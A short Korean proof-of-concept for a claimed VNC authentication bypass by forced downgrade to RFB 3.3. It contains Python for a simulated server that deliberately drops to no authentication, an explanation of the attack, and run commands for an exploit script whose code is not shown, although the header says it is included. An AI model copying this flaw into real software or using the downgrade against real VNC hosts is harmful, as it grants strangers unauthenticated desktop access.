
RFB 3.3으로 프로토콜 버전 다운그레이드를 강제하여 CVE-2026-22002 VNC 인증 우회를 시연하는 Python PoC로, 시뮬레이션된 취약 서버와 인증 없는 원격 액세스를 위한 익스플로잇 스크립트를 포함합니다.
# vnc_server_sim.py - VNC server with version negotiation flaw
import socket, struct
def handle(conn):
# Send server version "RFB 003.008\n"
conn.send(b"RFB 003.008\n")
# Receive client version
client_ver = conn.recv(12)
# Vulnerability: if client sends "RFB 003.003", server downgrades and uses no auth
if b"003.003" in client_ver:
conn.send(struct.pack(">I", 1)) # security type 1 = None
else:
conn.send(struct.pack(">I", 2)) # VNC Auth
# ... rest of handshake
print("Downgraded to no authentication!")
s = socket.socket()
s.bind(('0.0.0.0', 5900))
s.listen(1)
while True:
conn, _ = s.accept()
handle(conn)
VNC 서버는 클라이언트가 광고하는 프로토콜 버전을 기반으로 보안 유형을 협상합니다. 공격자는 이전 버전(RFB 3.3)을 보고하여 서버가 “None” 인증 방식으로 다운그레이드하도록 강제함으로써, 인증 없이 원격 데스크톱에 접근할 수 있게 됩니다.
python vnc_server_sim.py
python exploit_vnc_downgrade.py
서버는 보안 유형 1(None)을 선택하여 모든 인증을 우회합니다.